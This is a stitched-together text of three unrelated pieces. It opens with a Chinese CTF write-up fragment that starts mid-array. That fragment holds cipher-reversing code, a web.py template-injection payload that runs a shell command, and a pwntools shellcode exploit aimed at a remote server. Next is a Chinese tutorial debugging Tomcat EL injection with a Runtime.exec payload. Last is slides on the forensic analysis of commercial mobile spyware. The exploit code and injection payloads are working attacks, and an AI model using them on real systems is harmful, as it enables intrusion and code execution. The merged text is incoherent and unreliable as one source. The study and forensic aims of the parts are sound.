4935420,3719292125L,2044275065,4232255484L,2252400006L,1678895716,2332195723L, 2408855183L,3796963298L,1796793963,712225322,314691346,2699067552L,3756291807L ,1601784927,2579739801L,2783413413L,1227804233,4181988345L,3617713367L,3881176 039L,2759249316L,1667071075,628801061,4081720307L,1741369703,4001552622L,27890 40038L,3341529543L,3227985856L,122459655,1847583342,2867759274L,3441801677L,16 28892769,215209740,3043875253L,1424362836,499696413,2479733907L,1126221379,347 2843470L,1906094961,1463604823,1264933963,3065447094L,2500879253L,1619502944,1 479924312,2195105922L,3927217642L,444880154,4212097531L,1454219094,3759840736L ,1047503422,115203846,2303322505L,619444004,2047079034,1097552961,3821029091L, 2441490065L,674766888,2639657373L,3588914901L,1177010758,1817473132,569176865, 1349533776,1518225498,3732226014L,648045862,1220511560,2988527538L,3505224400L ,908736566,2877276587L,3210990015L,2838778793L,1592264030,851211570,26298625,1 073670975,1433879637,951221560,3334142150L,4288269567L,2913083053L,1554224988, 38507010,1993352566,2729120418L,3898542056L,996714043,3036450996L,4043409905L, 168691722,3480103887L,1879964272,3593512406L,2102355069,194986251,1503957849,3 951418603L,64674563,1035303229,1147949124,1257510218,4158412535L,1841641837,20 73213819,1379652178,2669570975L,2382725006L,2555575704L,1767076969,3166243516L ,858602547,3127170490L,2018009208,3116240569L,2738510755L,1009004604,252251151 ,2529867926L,2708588961L,3203569854L,3395891146L,796177967,2417452944L,3304155 844L,3434410188L,4204710138L,277503248,2630135964L,3922611945L,2609391259L,258 5358234L,324044307,1315067982,2813073063L,374833686,3014657715L] xor_table = [40806489, 4046542995L, 2337878950L, 3878399079L, 449612036, 776524271, 1059181995, 1764973087, 3196283120L, 4059530435L, 404769168, 416194920, 865505623, 569110855, 4202362994L, 2884025964L, 1364091262, 3967238082L, 3323511658L, 4191090596L, 1977398017, 2934017146L, 619849321, 2598057311L, 2001658147, 3371447456L, 4101937135L, 1132035575, 4142164549L, 95912149, 3823222592L, 1423799602] flag = raw_input() def to_bytes(d): res = [] tmp = hex(d).replace('0x','').rjust(8,'0') for i in xrange(0,8,2): res.append(int(tmp[i:i+2],16)) return res[::-1] def ROR(d,n): return ( (d >> n) | (d << (32-n)) ) % 0x100000000 def ROL(d,n): return ( (d << n) | (d >> (32-n)) ) % 0x100000000 def en(data): t1 = u32(data[0:4]) t2 = u32(data[4:8]) t3 = u32(data[8:12]) t4 = u32(data[12:16]) t1 ^= 0x0C01A4D6E t2 ^= 0x0A4CB6636 t3 ^= 0x5B0F5BA1 t4 ^= 0x2B266926 #print(hex(t1),hex(t2),hex(t3),hex(t4)) for i in xrange(0,32,4): tt5 = to_bytes(t1) t5 = index_table1[tt5[0]] ^ index_table2[tt5[1]] ^ index_table3[tt5[2]] ^ index_table4[tt5[3]] tt6 = to_bytes(t2) t6 = index_table2[tt6[0]] ^ index_table3[tt6[1]] ^ index_table4[tt6[2]] ^ index_table1[tt6[3]] t3 ^=(xor_table[i] + t5 + t6)%0x100000000 #print(hex(t1),hex(t2),hex(t3),hex(t4),hex(t5),hex(t6)) t3 = ROR(t3,1) t4 = ROL(t4,1) #print(hex(t1),hex(t2),hex(t3),hex(t4),hex(t5),hex(t6)) t4 ^= (xor_table[i+1] + t5 + t6 * 2)%0x100000000 tt5 = to_bytes(t3) t5 = index_table1[tt5[0]] ^ index_table2[tt5[1]] ^ index_table3[tt5[2]] ^ index_table4[tt5[3]] tt6 = to_bytes(t4) t6 = index_table2[tt6[0]] ^ index_table3[tt6[1]] ^ index_table4[tt6[2]] ^ index_table1[tt6[3]] t1 ^= (xor_table[i+2] + t5 + t6)%0x100000000 t1 = ROR(t1,1) t2 = ROL(t2,1) t2 ^= (xor_table[i+3] + t5 + t6 * 2)%0x100000000 print(hex(t1),hex(t2),hex(t3),hex(t4),hex(t5),hex(t6)) t3 ^= 0x0EF75CB8F t4 ^= 0x0A037222A t1 ^= 0x0BA69619A t2 ^= 0x60798932 return p32(t3) + p32(t4) + p32(t1) + p32(t2) def de(data): t3 = u32(data[0:4]) t4 = u32(data[4:8]) t1 = u32(data[8:12]) t2 = u32(data[12:16]) t3 ^= 0x0EF75CB8F t4 ^= 0x0A037222A t1 ^= 0x0BA69619A t2 ^= 0x60798932 for i in range(0,32,4)[::-1]: tt5 = to_bytes(t3) t5 = index_table1[tt5[0]] ^ index_table2[tt5[1]] ^ index_table3[tt5[2]] ^ index_table4[tt5[3]] tt6 = to_bytes(t4) t6 = index_table2[tt6[0]] ^ index_table3[tt6[1]] ^ index_table4[tt6[2]] ^ index_table1[tt6[3]] print(hex(t1),hex(t2),hex(t3),hex(t4),hex(t5),hex(t6)) t2 ^= (xor_table[i+3] + t5 + t6 * 2)%0x100000000 t2 = ROR(t2,1) t1 = ROL(t1,1) t1 ^= (xor_table[i+2] + t5 + t6)%0x100000000 tt5 = to_bytes(t1) t5 = index_table1[tt5[0]] ^ index_table2[tt5[1]] ^ index_table3[tt5[2]] ^ index_table4[tt5[3]] tt6 = to_bytes(t2) t6 = index_table2[tt6[0]] ^ index_table3[tt6[1]] ^ index_table4[tt6[2]] ^ index_table1[tt6[3]] t4 ^= (xor_table[i+1] + t5 + t6 * 2)%0x100000000 t3 = ROL(t3,1) t4 = ROR(t4,1) t3 ^=(xor_table[i] + t5 + t6)%0x100000000 #print(hex(t1),hex(t2),hex(t3),hex(t4),hex(t5),hex(t6)) t1 ^= 0x0C01A4D6E t2 ^= 0x0A4CB6636 t3 ^= 0x5B0F5BA1 t4 ^= 0x2B266926 return p32(t1) + p32(t2) + p32(t3) + p32(t4) Web On my raddit 8LSBDES 2e7e305f2da018a2cf8208fa1fefc238 + + 3ca92540eb2d0a42 3ca92540eb2d0a42padding8hashcat ldgonaroFLAG def xor_str(a,b): res = '' for i in xrange(16): res += chr(ord(a[i]) ^ ord(b[i])) return res de_flag = [0x4F, 0x6F, 0xA7, 0x87, 0xE9, 0x51, 0x87, 0x64, 0x38, 0x2A, 0x46, 0xE5, 0x4F, 0x21, 0x9E, 0x1C, 0xCD, 0x65, 0xE1, 0x9A, 0x4F, 0xCF, 0xDE, 0x52, 0x09, 0xBF, 0x53, 0xC4, 0xB0, 0x95, 0x75, 0x31, 0xAC, 0x2F, 0xF4, 0x97, 0x1D, 0xA5, 0x9A, 0x02, 0xA8, 0xFF, 0xAE, 0x2E, 0xB9, 0x70, 0xCC, 0x02] de_c = '' for i in de_flag: de_c += chr(i) # a = en('a'*16) # print('---') # print(de(a)) print((xor_str(de_c[16:32],de(de_c[32:48])))) # ~Exc3p7i0n-Ori3n7ed-Pr0grammin9~RoO0cks!!\o^_^o/ 3ca92540eb2d0a42:0808080808080808:ldgonaro Session..........: hashcat Status...........: Cracked Hash.Type........: DES (PT = $salt, key = $pass) Hash.Target......: 3ca92540eb2d0a42:0808080808080808 f app.py E2272B36277C708BC21066647BC214B8 megnnaro On my raddit2 https://securityetalii.es/2014/11/08/remote-code-execution-in-web-py-framework/ web.pydb from Crypto.Cipher import DES key = 'ldgonaro' def decrypt(decryptText): try: cipherX = DES.new(key, DES.MODE_ECB) str = decryptText.decode('hex') y = cipherX.decrypt(str) return y[0:ord(y[len(y)-1])*-1] except: return "" print decrypt('2e7e305f2da018a2cf8208fa1fefc238522c932a276554e5f8085ba33f9600b301c3c 95652a912b0342653ddcdc4703e5975bd2ff6cc8a133ca92540eb2d0a42') =>m=d&f=uploads%2F70c97cc1-079f-4d01-8798-f36925ec1fd7.pdf # coding: UTF-8 import os import urllib import urlparse from Crypto.Cipher import DES ENCRPYTION_KEY = 'megnnaro' def encrypt(s): length = DES.block_size - (len(s) % DES.block_size) s = s + chr(length)*length cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB) return cipher.encrypt(s).encode('hex') def decrypt(s): try: data = s.decode('hex') cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB) data = cipher.decrypt(data) data = data[:-ord(data[-1])] return dict(urlparse.parse_qsl(data)) except Exception as e: print e.message return {} MISC Lumosity EV3 Basic LEGO EV3 81 xx 81 xx 84 xx 32world 64bit ELFretf32shellcode24syscallIPFFFFFFFF 64bitone gadgetfs print encrypt(urllib.urlencode({'m':'p','l':"${[].__class__.__base__.__subclasses__( )[59]()._module.linecache.os.system('/read_flag > /tmp/fffza')}"})) print encrypt(urllib.urlencode({'m':'d','f':'/tmp/fffza'})) 0a 14 1e 28 32 3c 46 50 5a 64 6e 78 82 8c 96 a0 28 h i t c o n { m 1 n d 5 t 0 r m 36 _ c o m m u n i c a t i o n _ a 44 n d _ f i r m w a r e _ d e v e 52 l o p e r _ k i t } line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x0000000c A = instruction_pointer >> 32 0001: 0x15 0x00 0x01 0x00000000 if (A != 0x0) goto 0003 0002: 0x06 0x00 0x00 0x00000000 return KILL 0003: 0x06 0x00 0x00 0x7fff0000 return ALLOW from pwn import * #p = process('./32world') p = remote('54.65.133.244', 8361) context(bits = 32, arch = 'i386') sc1 = ''' retf ''' sc11 = asm('push 0x33') sc1 = asm(sc1) print sc1, len(sc1) context(bits = 64, arch = 'amd64') sc2 = asm('mov rax, fs:[rdx+0x900]; add rax, 0xf1147; call rax') sc1 = sc11 + '\xe8\x10\x00\x00\x00' + sc2 + sc1 print sc1, len(sc1) p.sendline(sc1) p.interactive()
pdf
Tomcat中表达式动态执⾏Java代码调试 最近在看表达式注⼊的东⻄,漏洞根源归根结底,应该是Java表达式功能强⼤,⽀持执⾏我们 注⼊的Java代码,这⾥觉得有必要代码调试下。因为表达式解析引擎有很多,我这⾥就⽤ Tomcat重点了,它⾥⾯包含了jdk下的 javax.el 就以这个demo为例,idea起简单的Java Web项⽬,修改index.jsp即可,这⾥注意⼀下搭建环 境需要修改下web.xml,在默认情况,Servlet 2.4 / JSP 2.0(以上)⽀持 EL 表达式。且在 index.jsp头部需加上<%@ page isELIgnored="false" %> 效果如下 ${pageContext.request.getSession().setAttribute("a",pageContext.request.ge tClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invo ke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invo ke(null),'calc.exe'))} 1 <%@ page contentType="text/html;charset=UTF-8" language="java" %> 1 <%@ page isELIgnored="false" %> 2 <html> 3 <body> 4 <h2>Hello World!</h2> 5 ${233*233} 6 7 ${pageContext.request.getSession().setAttribute("a",pageContext.request.ge tClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invo ke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invo ke(null),'calc.exe'))} 8 </body> 9 </html> 10 <!DOCTYPE web-app PUBLIC 1 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" 2 "http://java.sun.com/dtd/web-app_2_3.dtd" > 3 4 <web-app version="2.4" 5 xmlns="http://java.sun.com/xml/ns/j2ee" 6 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 7 xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"> 8 9 <display-name>Archetype Created Web Application</display-name> 10 </web-app> 11 在分析之前我们先了解下JSP执⾏原理 index.jsp在执⾏时,Tomcat会将其变成index.java,我 本机路径保存在 C:\Users\Administrator\AppData\Local\JetBrains\IntelliJIdea2020.1\tomcat\Unnamed_e l_jsp_demo\work\Catalina\localhost\el_jsp_demo_war\org\apache\jsp,打开后内容如下 /* 1  * Generated by the Jasper component of Apache Tomcat 2  * Version: Apache Tomcat/8.5.57 3  * Generated at: 2020-12-15 09:34:50 UTC 4  * Note: The last modified time of this file was set to 5  *       the last modified time of the source file after 6  *       generation to assist with modification tracking. 7  */ 8 package org.apache.jsp; 9 10 import javax.servlet.*; 11 import javax.servlet.http.*; 12 import javax.servlet.jsp.*; 13 14 public final class index_jsp extends org.apache.jasper.runtime.HttpJspBase 15     implements org.apache.jasper.runtime.JspSourceDependent, 16                  org.apache.jasper.runtime.JspSourceImports { 17 18   private static final javax.servlet.jsp.JspFactory _jspxFactory = 19           javax.servlet.jsp.JspFactory.getDefaultFactory(); 20 21   private static java.util.Map<java.lang.String,java.lang.Long> _jspx_depe ndants; 22 23   private static final java.util.Set<java.lang.String> _jspx_imports_packa ges; 24 25   private static final java.util.Set<java.lang.String> _jspx_imports_class es; 26 27   static { 28     _jspx_imports_packages = new java.util.HashSet<>(); 29     _jspx_imports_packages.add("javax.servlet"); 30     _jspx_imports_packages.add("javax.servlet.http"); 31     _jspx_imports_packages.add("javax.servlet.jsp"); 32     _jspx_imports_classes = null; 33   } 34 35   private volatile javax.el.ExpressionFactory _el_expressionfactory; 36   private volatile org.apache.tomcat.InstanceManager _jsp_instancemanager; 37 38   public java.util.Map<java.lang.String,java.lang.Long> getDependants() { 39     return _jspx_dependants; 40   } 41 42   public java.util.Set<java.lang.String> getPackageImports() { 43     return _jspx_imports_packages; 44   } 45 46   public java.util.Set<java.lang.String> getClassImports() { 47     return _jspx_imports_classes; 48   } 49 50   public javax.el.ExpressionFactory _jsp_getExpressionFactory() { 51     if (_el_expressionfactory == null) { 52       synchronized (this) { 53         if (_el_expressionfactory == null) { 54           _el_expressionfactory = _jspxFactory.getJspApplicationContext(ge tServletConfig().getServletContext()).getExpressionFactory(); 55         } 56       } 57     } 58     return _el_expressionfactory; 59   } 60 61   public org.apache.tomcat.InstanceManager _jsp_getInstanceManager() { 62     if (_jsp_instancemanager == null) { 63       synchronized (this) { 64         if (_jsp_instancemanager == null) { 65           _jsp_instancemanager = org.apache.jasper.runtime.InstanceManager Factory.getInstanceManager(getServletConfig()); 66         } 67       } 68     } 69     return _jsp_instancemanager; 70   } 71 72   public void _jspInit() { 73   } 74 75   public void _jspDestroy() { 76   } 77 78   public void _jspService(final javax.servlet.http.HttpServletRequest requ est, final javax.servlet.http.HttpServletResponse response) 79       throws java.io.IOException, javax.servlet.ServletException { 80 81     final java.lang.String _jspx_method = request.getMethod(); 82     if (!"GET".equals(_jspx_method) && !"POST".equals(_jspx_method) && !"H EAD".equals(_jspx_method) && !javax.servlet.DispatcherType.ERROR.equals(re quest.getDispatcherType())) { 83       response.sendError(HttpServletResponse.SC_METHOD_NOT_ALLOWED, "JSP  只允许 GET、POST 或 HEAD。Jasper 还允许 OPTIONS"); 84       return; 85     } 86 87     final javax.servlet.jsp.PageContext pageContext; 88     javax.servlet.http.HttpSession session = null; 89     final javax.servlet.ServletContext application; 90     final javax.servlet.ServletConfig config; 91     javax.servlet.jsp.JspWriter out = null; 92     final java.lang.Object page = this; 93     javax.servlet.jsp.JspWriter _jspx_out = null; 94     javax.servlet.jsp.PageContext _jspx_page_context = null; 95 96 97     try { 98       response.setContentType("text/html;charset=UTF-8"); 99       pageContext = _jspxFactory.getPageContext(this, request, response, 100             null, true, 8192, true); 101       _jspx_page_context = pageContext; 102       application = pageContext.getServletContext(); 103       config = pageContext.getServletConfig(); 104       session = pageContext.getSession(); 105       out = pageContext.getOut(); 106       _jspx_out = out; 107 108       out.write("\n"); 109       out.write("\n"); 110       out.write("<html>\n"); 111       out.write("<body>\n"); 112       out.write("<h2>Hello World!</h2>\n"); 113       out.write("\n"); 114       out.write("\n"); 115       out.write((java.lang.String) org.apache.jasper.runtime.PageContextIm pl.proprietaryEvaluate("${pageContext.request.getSession().setAttribute(\" a\",pageContext.request.getClass().forName('java.lang.Runtime').getMethod( 'exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').ge 116 org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate 为容器执⾏表达式⽅法, 我们直接在这个⽅法上下断点,这个类存在在tomcat中,所以我们开启⼀个tomcat_src项⽬ 来调试,将我们jsp_calc项⽬打包成war放到tomcat_src项⽬中进⾏调试 调试环境已准备好 tMethod('getRuntime').invoke(null),'calc.exe'))}", java.lang.String.class,  (javax.servlet.jsp.PageContext)_jspx_page_context, null));       out.write('\n'); 117       out.write((java.lang.String) org.apache.jasper.runtime.PageContextIm pl.proprietaryEvaluate("${233*233}", java.lang.String.class, (javax.servle t.jsp.PageContext)_jspx_page_context, null)); 118       out.write("\n"); 119       out.write("</body>\n"); 120       out.write("</html>\n"); 121     } catch (java.lang.Throwable t) { 122       if (!(t instanceof javax.servlet.jsp.SkipPageException)){ 123         out = _jspx_out; 124         if (out != null && out.getBufferSize() != 0) 125           try { 126             if (response.isCommitted()) { 127               out.flush(); 128             } else { 129               out.clearBuffer(); 130             } 131           } catch (java.io.IOException e) {} 132         if (_jspx_page_context != null) _jspx_page_context.handlePageExcep tion(t); 133         else throw new ServletException(t); 134       } 135     } finally { 136       _jspxFactory.releasePageContext(_jspx_page_context); 137     } 138   } 139 } 140 断点下到org.apache.jasper.runtime.PageContextImpl#proprietaryEvaluate,expression已 经被赋值为我们嘚payload 这⾥有个懒⼈⽅法,使⽤单步步过,然后看计算器折麽时候弹出来,最终定位到 org.apache.el.parser.AstValue#getValue,查看变量,我们传⼊嘚Payload都被存在了 protected Node[] children中,Node嘚初始化是在 org.apache.el.ValueExpressionImpl#getNode中 org.apache.el.lang.ExpressionBuilder#createNode private static final Node createNodeInternal(String expr) 1 throws ELException { 2 if (expr == null) { 3 throw new ELException(MessageFactory.get("error.null")); 4 } 5 6 Node n = expressionCache.get(expr); 7 if (n == null) { 8 ELParser parser = parserCache.pop(); 9 try { 10 if (parser == null) { 11 parser = new ELParser(new StringReader(expr)); 12 } else { 13 parser.ReInit(new StringReader(expr)); 14 } 15 n = parser.CompositeExpression(); 16 17 // validate composite expression 18 int numChildren = n.jjtGetNumChildren(); 19 if (numChildren == 1) { 20 n = n.jjtGetChild(0); 21 } else { 22 Class<?> type = null; 23 Node child = null; 24 for (int i = 0; i < numChildren; i++) { 25 child = n.jjtGetChild(i); 26 if (child instanceof AstLiteralExpression) 27 continue; 28 if (type == null) 29 type = child.getClass(); 30 else { 31 if (!type.equals(child.getClass())) { 32 throw new ELException(MessageFactory.get( 33 "error.mixed", expr)); 34 } 35 } 36 } 37 } 38 39 if (n instanceof AstDeferredExpression 40 || n instanceof AstDynamicExpression) { 41 n = n.jjtGetChild(0); 42 } 43 expressionCache.put(expr, n); 44 } catch (Exception e) { 45 throw new ELException( 46 MessageFactory.get("error.parseFail", expr), e); 47 } finally { 48 if (parser != null) { 49 parserCache.push(parser); 50 } 51 } 52 } 53 回到org.apache.el.parser.AstValue#getValue,这⾥是个重要⽅法 处理我们传⼊嘚数据 实现 了⼀个动态执⾏Java代码的环境 return n; 54 } 55
pdf
spy  vs.  spy examining  spyware  on  mobile  devices michael  robinson  |  christopher  taylor Zarious  @  zarious.deviantart.com Introduc=on:  The  newest  spy Spyware  can  easily  run  on  mobile  devices. It’s  in  malware and  its commercially available. hBp://www.computerweekly.com/Ar=cles/2011/09/12/247857/Mobile-­‐malware-­‐up-­‐273-­‐in-­‐first-­‐half-­‐of-­‐2011.htm NickiBot: -­‐  Spyware  (GPS  monitoring,  sound  recording,  call logs,  e-­‐mail  uploading) -­‐  Fully  controlled  by  SMS  messages -­‐  Appears  as  “Android  System  Log”  under  installed applica=ons (See  www.csc.ncsu.edu/faculty/jiang/NickiBot.) NickiBot  Spyware and Zsone hBp://www.pcworld.com/businesscenter/ar=cle/217133/ soundminer_android_malware_listens_then_steals_phone_data.html Soundminer -­‐ Monitors  phone  calls  (voice  and  keypad) -­‐ Sends  credit  card  data  over  the  network -­‐ Paired  app  with  another  Trojan hBp://slashnext.com/2011/08/mobile-­‐malware-­‐threats-­‐grow-­‐now-­‐they-­‐can-­‐steal-­‐photos-­‐from-­‐your-­‐phone/ F-­‐Secure: Photoscraping  for  harassment  and  blackmail. hBp://www.unplggd.com/unplggd/safety-­‐security/does-­‐your-­‐smartphone-­‐need-­‐an=virus-­‐protec=on-­‐156222 ScarleB Johansson Jessica Alba Julianne Hough Heather Morris Miley Cirus Mila Kunis Olivia Munn Ashley  Greene Bri=sh Royalty Commercializa=on  of  spyware hBp://www.android-­‐apps.us/monitor/security-­‐sogware/blackberry-­‐spyware/ hBp://www.android-­‐apps.us/monitor/security-­‐sogware/blackberry-­‐spyware/ Did  you  catch  the  list  of compa=ble  devices? hBp://www.android-­‐apps.us/monitor/security-­‐sogware/blackberry-­‐spyware/ And  this  is  the short  list. Some  commercial  versions don’t  require  roo=ng  of  the  phone.* *  iPhones  need  to  be  jailbroken. So  what  does  it  do? Commercial  spyware  may  capture: SMS  ac=vity Loca=on/GPS  coordinates Pictures Videos Inbound/outbound  call  logs Browser  ac=vity  (URLs) E-­‐mail Iden=fy  SIM  card  changes Interac=ve  mode  may  include: Taking  pictures Recording  videos Record  conversa=ons/background  via  calls Wiping  the  phone Viewing  the  target  phone’s  screen Harvested  data  sent  back  to  a  server. Internet Server/Website Target For  example: Call  records List  of Func=ons List  of  Func=ons List  of  Text  Messages Live  pictures GPS  Coordinates (Actually  cell  phone  towers) Recorded  phone  calls Alerts  can  be  sent  to  a  monitoring  phone  via  SMS directly  from  target  or  from  the  website. Target Internet Server/Website Spy Commands  can  be  sent  to  the  target  phone via  the  observing  phone  or  website. Internet Server/Website Target Spy Principle  differences  between malware  and  commercial  versions: ABack  vector (delivery  method) Logging Installa=on •  Physical  access:  required. •  Android  roo=ng:  not  always  required. •  iPhone  Jailbreaking:  required. •  Internet  connec=on:  required. •  Ability  to  install  apps  from  unknown sources.:  required •  Device  may  need  to  be  rebooted. FreeDigitalPhotos.net The  BIG  ques=on: How  do  you  know  if  you’ve  been  PWN’d? You  wouldn’t  know,  would  you? Spyware  is  “undetectable.” Here’s  what  we  did: We  forensically  examined  smart  phones infected  with  different commercial  spyware  products. HTC  Wildfire  S  (rooted) on  T-­‐Mobile LG  Op=mus  Elite on  Virgin  Mobile LG  Op=mus  V on  Virgin  Mobile Samsumg  Galaxy  Prevail on  Boost/Sprint Apple  iPhones  4s  (jailbroken) on  T-­‐Mobile the  legal  stuff the  legal  stuff the  legal  stuff the  legal  stuff the  legal  stuff Forensic  Tools URL  history  Title:  FlexiSPY  Product  Download  URL:  hBp://djp.cc Cookie  Name:  JSESSIONID  Domain:  djp.cc Search  of  physical  dump  hBp://djp.cc/checkkey?key=06107769107469& Submit=Download.FSXGAD_2.03.3.apk/mnt/sdcard/download/ FSXGAD_2.03.3.apkapplica=on/vnd.android.package-­‐archive SD  Card  \download\FSXGAD_2.03.3.apk ATTRIBUTION! Registra=on  Key /bookmark_thumb1/ s7ea2c639.jpg support@flexispy.com ATTRIBUTION! Registra=on  Key (in  the  picture) A  couple  of  glitches… On  the  version  we  tested,  we  no=ced: •  Messages  appeared  periodically  that  “unknown”  obtained “superuser  access.” •  The  sogware  didn’t  always  launch  on  reboot. •  On  CDMA  phones,  stealthy  messages  sent  to  the  target phone  appeared  to  the  user,  i.e.,  they  were  not  stealthy. •  Stealthy  phone  calls  did  not  work  on  CDMA  phones. Note:  A  new  version  of  the  product  has  since  been  released. 152  Running  Apps Superuser (Evidence  of  roo=ng) /data/system/usagedata/usage-­‐20120207 contains  a  reference  to:  “com.android.msecurity” /data/misc/dm/  callog.ref  callmgrd.zip  config.dat  dev_id  event.db  fx.log  gmail.ref  license.db  logcat.log  maind.zip  preference.db  s32  sms.ref /data/misc/dm/fx.log Hidden  SMS  command: <*#50> Confirma=on  of response  sent  to remote  system Sogware  version PROX /data/misc/dm/fx.log ATTRIBUTION! Hidden  SMS  command  & Registra=on  Number ATTRIBUTION! Monitoring number getMobileDataEnabled:  true Confirma=on  of Connec=on /data/misc/dm/logcat Star=ng  process: com.slacker.radio Includes  PID Monitoring  other  services, e.g.,  charging. /data/misc/dm/logcat Calls  to  several  daemons: •  com.fx.callmgrd.CallMgrDaemon •  com.fx.pmond.MonitorDaemon •  com.fx.maind.MainDaemon Database  maintenance Library  loading: /data/misc/dm/libexec.so /data/misc/dm/logcat Image5 (mtd5_userdata.bin) Deleted  log  data  found. SIM  Card  check Spyware  version Instruc=ons SMS  Commands ATTRIBUTION! Controlling Number Auto-­‐reply URL  history  hBp://www.spybubble.com/android/adv/radio.apk downloads.db  entry  uri:  hBp://www.spybubble.com/android/adv/radio.apk hint:  radio.apk _data:  /mnt/sdcard/Download/radio.apk (Phone  not  shipped  with  an  SD  Card.) Outgoing  call  log  #999999* There  was  an  error  with  the  opera=on  of the  sogware. This  should  not  appear  in  the  log. This  number  can  be  changed. Regardless  of  the  number,  it  will  start with  #  and  end  with  *. A  couple  of  glitches… When  SpyBubble  is  installed,  it  automa=cally sends  an  SMS  from  the  target  phone  to  the observer. This  text  appears  in  blk0_mmcblk0.bin: “this  phone  is  now  having  Radio  installed  in  it and  has  added  you  as  the  observer” This  text  found  here  is  iden=cal  to  the  SMS message.  The  phrase  appears  in  different languages  before  and  ager  the  English  version. data/data/com.radioadv /databases /files /shared_prefs advse{ngs.txt -­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐ InCallRecording:  enable OutCallRecording:  enable AutoEnvRec:  enable AutoLivePic:  enable AutoLiveVideo:  enable AutoEnvRecDur:  120 AutoEnvRecInterval:  0.5 AutoLivePicInterval:  2 AutoLiveVideoInterval:  3 se{ngs.txt -­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐ TrackMode:WebCallTrack:  enable DataTrack:  enable Loca=onTracking:  enable GPSINT:  15 UrlTrack:  enable PhotoUpload:  enable ContactUpload:enable CalendarTrack:enable ATTRIBUTION! buddy.txt Cell  phone  number  for  remote  control /data/data/com.radioadv/files/ /data/data/com.radioadv/files/ secret.txt Pin:  999999 ATTRIBUTION! serial.txt Serial  number  for  this  purchase /data/data/com.radioadv/files/ /data/data/com.radioadv/shared_prefs/ SpyPrefs.xml -­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐ <?xml  version='1.0'  encoding='u}-­‐8'  standalone='yes'  ?> <map> <long  name="LastCall"  value="1337648857776"  /> <long  name="LastIncomingSMS"  value="1337648486047"  /> <long  name="LastHeartBeat"  value="1337647996962"  /> <string  name="OutCallRecordConfig">MR-­‐1,1,1</string> <long  name="LastURL"  value="1337649293803"  /> <long  name="LastPhonebook"  value="1337648219159"  /> <long  name="LastSMS"  value="1337647927461"  /> <long  name="LastPhoto"  value="1337648720000"  /> <string  name="InCallRecordConfig">MR-­‐1,1,1</string> <long  name="LastEnv"  value="1337686404056"  /> <boolean  name="State"  value="true"  /> <long  name="LastOutgoingSMS"  value="1337648503040"  /> <long  name="LastHeartBeatRecorder"  value="1337688158849"  /> <long  name="LastLiveVideo"  value="1337681859237"  /> <long  name="LastLivePic"  value="1337687259195"  /> <long  name="LastCalendar"  value="1337648885027"  /> </map> Counters  including “Heart  Beats” Live  capture  pictures: Retrieved  from the  website. Not  recovered  from the  phone. The  phone  was  in  my  pocket. Not  that  useful. The  phone  was  in  my  hand. The  raw  photo  does  not  focus. /mpt/MPT_MainData.db com.radioadv.CameraAc=vity $Preview.surfaceChanged (CameraAc=vity.java:132) Table:  excep=on_blobs Table:  excep=on_blobs ANR  in  com.radioadv Reason:  Execu=ng  service  com.radioadv/.LivePicService Load:  12.16/16.72/15.64 CPU  usage  from16515ms  to  0ms  ago: 1%  4261/com.radioadv:  1%  user  +  0%  kernel  /  faults:  145  minor /mpt/MPT_MainData.db Table:  app_history Pkg  Name:  com.radioadv  Install  Time:  1337647707115 Mon  May  21  2012  20:48:27  GMT-­‐0400  (EDT) /mpt/MPT_MainData.db Table:  acc_recent_actvity Pkg  Name:  com.radioadv /mpt/MPT_MainData.db /mpt/MPT_CommonData.db Table:  acc_usage Pkg  Name:  com.radioadv Pid:  666 uid:  10079 URL  history  hBp://www.mobistealth.com/asset/mobistealthv2.apk downloads.db  entry  uri:  hBp://www.mobistealth.com/asset/mobistealthv2.apk  Hint:  mobistealthv2.apk  _data:  /mnt/sdcard/download/mobistealthv2.apk SD  Card  \download\mobistealthv2.apk 84  Running  Apps LookOutSecure A+ribu0on! • Trigger  word:  “loca=on” • Source  phone  number data/data/lookOut.Secure /databases /files /shared_prefs A+ribu0on! • Trigger  word:  “loca=on” • Source  phone  number data/data/lookOut.Secure /files  debugLog data/data/lookOut.Secure /files  debugLog “Service  is  already  running” Names  of Services  &  Func=ons Loca=on: Lat:  36.145 Long:  -­‐115.32444444444444 Loca=on  (Lat  36.145,  Long  -­‐115.32444444444444) matches  one  of  the  addresses  listed.  Iden=cal value  recovered  from  the  phone. Loca=ons  are  based  on  cell  phone  towers. Actual  loca=on  was  nearby. data/data/lookOut.Secure files  loggedpictures.ser ....sr..java.u=l.ArrayListx .....a....I..sizexp....w.....t.. IMG_20120520_133547.jpgt.. IMG_20120520_133902.jpgt.. IMG_20120520_134236.jpgx List  of  pictures  that  have  been  uploaded. ....sr..java.u=l.ArrayListx 